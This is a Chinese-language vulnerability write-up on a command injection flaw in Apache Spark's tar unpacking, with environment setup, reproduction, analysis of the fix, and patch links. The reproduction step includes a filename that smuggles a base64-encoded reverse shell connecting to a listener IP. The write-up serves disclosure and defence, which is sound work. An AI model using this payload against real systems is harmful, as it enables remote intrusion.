漏洞验证|Apache Spark命令注入漏洞
项目介绍
Apache Spark 是一种用于大数据工作负载的分布式开源处理系统。它使用内存中缓存和优化的查询执行方式,可针对任何规模的数据进行快速分析查询。它提供使用Java、Scala、Python 和 R 语言的开发 API,支持跨多个工作负载重用代码—批处理、交互式查询、实时分析、机器学习和图形处理等。
https://github.com/apache/spark
漏洞概述
当Spark任务的文件名可控时,`Utils.unpack`采用命令拼接的形式对tar文件进行解压,存在任意命令注入的风险。这是源于Hadoop中unTar函数存在问题,在其执行shell命令之前未正确转义文件名,直接拼接命令导致任意命令注入。
影响版本
3.1.2, 3.2.1
环境搭建过程
1、下载spark 的docker-compose文件
curl -LO https://raw.githubusercontent.com/bitnami/bitnami-docker-spark/master/docker-compose.yml
2、修改docker-compose.yml,使用存在漏洞的版本
image: docker.io/bitnami/spark:3.1.2
3、启动docker
docker-compose up
漏洞复现
1、构造包含恶意反弹shell命令的文件名
touch '/tmp/{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjExLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}'
该命令会在tmp目录下生成如下文件
2、本地监听端口
3、使用spark-shell提交该文件,触发漏洞
4、查看
漏洞分析
从官方修复commit可知,修复前对.tar.gz、.tgz、.tar三种后缀的压缩包都是通过FileUtil.unTar处理,修复后针对.tar后缀的压缩包调用了unTarUsingJava函数处理,而在修复后增加的unTarUsingJava函数中,通过反射方式调用了FileUtil.unTarUsingJava函数。核心代码如下:
结合commit和官方修复的comment可知,漏洞产生的原因是因为直接将文件名未经过滤传入了hadoop 的unTar函数,而unTar函数没有进行过滤直接拼接成shell命令。
进一步查看hadoop的FileUtil.unTar,根据代码可知,如果是windows系统,调用unTarUsingJava处理,否则使用unTarUsingTar处理。
unTarUsingJava函数使用java实现解压功能因此不存在漏洞,这里重点分析FileUtil.unTarUsingTar函数,在修复前直接使用FileUtil.makeSecureShellPath函数处理文件名,而在makeSecureShellPath中对单引号进行了转义,shell中单引号内的命令字符就变成了单纯的字符。
修复后增加了单引号从而防止了命令注:
修复方式
目前,Apache Spark官方已针对此漏洞提交修复补丁,请参照以下链接安装补丁更新:
https://github.com/apache/spark/commit/057c051285ec32c665fb458d0670c1c16ba536b2
https://github.com/apache/spark/tree/057c051285ec32c665fb458d0670c1c16ba536b2
参考链接
https://github.com/apache/spark/commit/057c051285ec32c665fb458d0670c1c16ba536b2
https://github.com/apache/hadoop/blob/trunk/hadoop-common-project/hadoop-common/src/main/java/org/apache/hadoop/fs/FileUtil.java#L904
https://www.secrss.com/articles/40778
https://zhuanlan.zhihu.com/p/421375012